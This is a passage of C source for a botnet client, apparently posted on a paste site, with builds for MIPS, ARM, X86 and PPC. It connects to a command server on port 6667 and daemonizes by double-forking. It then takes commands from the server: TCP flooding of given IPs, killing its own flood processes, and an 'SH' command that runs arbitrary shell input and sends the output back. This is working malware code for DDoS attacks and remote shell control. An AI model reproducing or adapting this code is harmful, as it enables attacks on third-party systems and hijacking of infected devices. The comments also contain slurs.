  1664.                     sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1665.                     close(mainCommSock);
  1666.                     _exit(0);
  1667.                 }
  1668.                 hi = strtok(NULL, ",");
  1669.             }
  1670.         } else {
  1671.             if (listFork()) { return; }
  1672.  
  1673.             sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
  1674.             sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1675.             close(mainCommSock);
  1676.  
  1677.             _exit(0);
  1678.         }
  1679.     }
  1680.  
  1681.     if(!strcmp(argv[0], "STOP"))
  1682.     {
  1683.         int killed = 0;
  1684.         unsigned long i;
  1685.         for (i = 0; i < numpids; i++) {
  1686.             if (pids[i] != 0 && pids[i] != getpid()) {
  1687.                 kill(pids[i], 9);
  1688.                 killed++;
  1689.             }
  1690.         }
  1691.  
  1692.         if(killed > 0)
  1693.         {
  1694.             sockprintf(mainCommSock, "Killed %d.", killed);
  1695.         } else {
  1696.             sockprintf(mainCommSock, "None Killed.");
  1697.         }
  1698.     }
  1699.  
  1700.     if(!strcmp(argv[0], "LOLNOGTFO"))
  1701.     {
  1702.         exit(0);
  1703.     }
  1704. }
  1705.  
  1706. int initConnection()
  1707. {
  1708.     unsigned char server[512];
  1709.     memset(server, 0, 512);
  1710.     if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1711.     if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1712.     else currentServer++;
  1713.  
  1714.     strcpy(server, commServer[currentServer]);
  1715.     int port = 6667;
  1716.     if(strchr(server, ':') != NULL)
  1717.     {
  1718.         port = atoi(strchr(server, ':') + 1);
  1719.         *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1720.     }
  1721.  
  1722.     mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1723.  
  1724.     if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1725.  
  1726.     return 0;
  1727. }
  1728.  
  1729. int getOurIP()
  1730. {
  1731.     int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1732.     if(sock == -1) return 0;
  1733.  
  1734.     struct sockaddr_in serv;
  1735.     memset(&serv, 0, sizeof(serv));
  1736.     serv.sin_family = AF_INET;
  1737.     serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1738.     serv.sin_port = htons(53);
  1739.  
  1740.     int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1741.     if(err == -1) return 0;
  1742.  
  1743.     struct sockaddr_in name;
  1744.     socklen_t namelen = sizeof(name);
  1745.     err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1746.     if(err == -1) return 0;
  1747.  
  1748.     ourIP.s_addr = name.sin_addr.s_addr;
  1749.  
  1750.     int cmdline = open("/proc/net/route", O_RDONLY);
  1751.     char linebuf[4096];
  1752.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  1753.     {
  1754.         if(strstr(linebuf, "\t00000000\t") != NULL)
  1755.         {
  1756.             unsigned char *pos = linebuf;
  1757.             while(*pos != '\t') pos++;
  1758.             *pos = 0;
  1759.             break;
  1760.         }
  1761.         memset(linebuf, 0, 4096);
  1762.     }
  1763.     close(cmdline);
  1764.  
  1765.     if(*linebuf)
  1766.     {
  1767.         int i;
  1768.         struct ifreq ifr;
  1769.         strcpy(ifr.ifr_name, linebuf);
  1770.         ioctl(sock, SIOCGIFHWADDR, &ifr);
  1771.         for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1772.     }
  1773.  
  1774.     close(sock);
  1775. }
  1776.  
  1777. char *getBuild()
  1778. {
  1779.     #ifdef MIPS_BUILD
  1780.     return "MIPS";
  1781.     #elif MIPSEL_BUILD
  1782.     return "MIPSE";
  1783.     #elif X86_BUILD
  1784.     return "X86";
  1785.     #elif ARM_BUILD
  1786.     return "ARM";
  1787.     #elif PPC_BUILD
  1788.     return "PPC";
  1789.     #else
  1790.     return "UNK";
  1791.     #endif
  1792. }
  1793.  
  1794. int main(int argc, unsigned char *argv[])
  1795. {
  1796.     if(SERVER_LIST_SIZE <= 0) return 0; //LOL PERSON WHO CONFIGURED DIS BOT IS RETARDED
  1797.  
  1798.     srand(time(NULL) ^ getpid());
  1799.     init_rand(time(NULL) ^ getpid());
  1800.  
  1801.     pid_t pid1;
  1802.     pid_t pid2;
  1803.     int status;
  1804.  
  1805.     getOurIP();
  1806.     zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
  1807.  
  1808.     if (pid1 = fork()) {
  1809.             waitpid(pid1, &status, 0);
  1810.             exit(0);
  1811.     } else if (!pid1) {
  1812.             if (pid2 = fork()) {
  1813.                     exit(0);
  1814.             } else if (!pid2) {
  1815.             } else {
  1816.                     zprintf("fork failed\n");
  1817.             }
  1818.     } else {
  1819.             zprintf("fork failed\n");
  1820.     }
  1821.  
  1822.     setsid();
  1823.     chdir("/");
  1824.  
  1825.     signal(SIGPIPE, SIG_IGN);
  1826.  
  1827.     while(1)
  1828.     {
  1829.         if(initConnection()) { printf("Failed to connect...\n"); sleep(5); continue; }
  1830.  
  1831.         sockprintf(mainCommSock, "BUILD %s", getBuild());
  1832.  
  1833.         char commBuf[4096];
  1834.         int got = 0;
  1835.         int i = 0;
  1836.         while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1837.         {
  1838.             for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1839.                 unsigned int *newpids, on;
  1840.                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1841.                 pids[on - 1] = 0;
  1842.                 numpids--;
  1843.                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1844.                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1845.                 free(pids);
  1846.                 pids = newpids;
  1847.             }
  1848.  
  1849.             commBuf[got] = 0x00;
  1850.  
  1851.             trim(commBuf);
  1852.  
  1853.             if(strstr(commBuf, "PING") == commBuf)
  1854.             {
  1855.                 sockprintf(mainCommSock, "PONG");
  1856.                 continue;
  1857.             }
  1858.  
  1859.             if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1860.  
  1861.             unsigned char *message = commBuf;
  1862.  
  1863.             if(*message == '!')
  1864.             {
  1865.                 unsigned char *nickMask = message + 1;
  1866.                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1867.                 if(*nickMask == 0x00) continue;
  1868.                 *(nickMask) = 0x00;
  1869.                 nickMask = message + 1;
  1870.  
  1871.                 message = message + strlen(nickMask) + 2;
  1872.                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1873.  
  1874.                 unsigned char *command = message;
  1875.                 while(*message != ' ' && *message != 0x00) message++;
  1876.                 *message = 0x00;
  1877.                 message++;
  1878.  
  1879.                 unsigned char *tmpcommand = command;
  1880.                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1881.  
  1882.                 if(strcmp(command, "SH") == 0)
  1883.                 {
  1884.                     unsigned char buf[1024];
  1885.                     int command;
  1886.                     if (listFork()) continue;
  1887.                     memset(buf, 0, 1024);
  1888.                     szprintf(buf, "%s 2>&1", message);
  1889.                     command = fdpopen(buf, "r");
  1890.                     while(fdgets(buf, 1024, command) != NULL)
  1891.                     {
  1892.                         trim(buf);
  1893.                         sockprintf(mainCommSock, "%s", buf);
  1894.                         memset(buf, 0, 1024);
  1895.                         sleep(1);
  1896.                     }
  1897.                     fdpclose(command);
  1898.                     exit(0);
  1899.                 }
  1900.  
  1901.                 unsigned char *params[10];
  1902.                 int paramsCount = 1;
  1903.                 unsigned char *pch = strtok(message, " ");
  1904.                 params[0] = command;
  1905.  
  1906.                 while(pch)
  1907.                 {
  1908.                     if(*pch != '\n')
  1909.                     {
  1910.                         params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1911.                         memset(params[paramsCount], 0, strlen(pch) + 1);
  1912.                         strcpy(params[paramsCount], pch);
  1913.                         paramsCount++;
  1914.                     }
  1915.                     pch = strtok(NULL, " ");
  1916.                 }
  1917.  
  1918.                 processCmd(paramsCount, params);
  1919.  
  1920.                 if(paramsCount > 1)
  1921.                 {
  1922.                     int q = 1;
  1923.                     for(q = 1; q < paramsCount; q++)
  1924.                     {
  1925.                         free(params[q]);
  1926.                     }
  1927.                 }
  1928.             }
  1929.         }
  1930.         printf("Link closed by server.\n");
  1931.     }
  1932.  
  1933.     return 0; //dis is da propa codez
  1934.  
  1935. }
Add Comment
Please, Sign In to add comment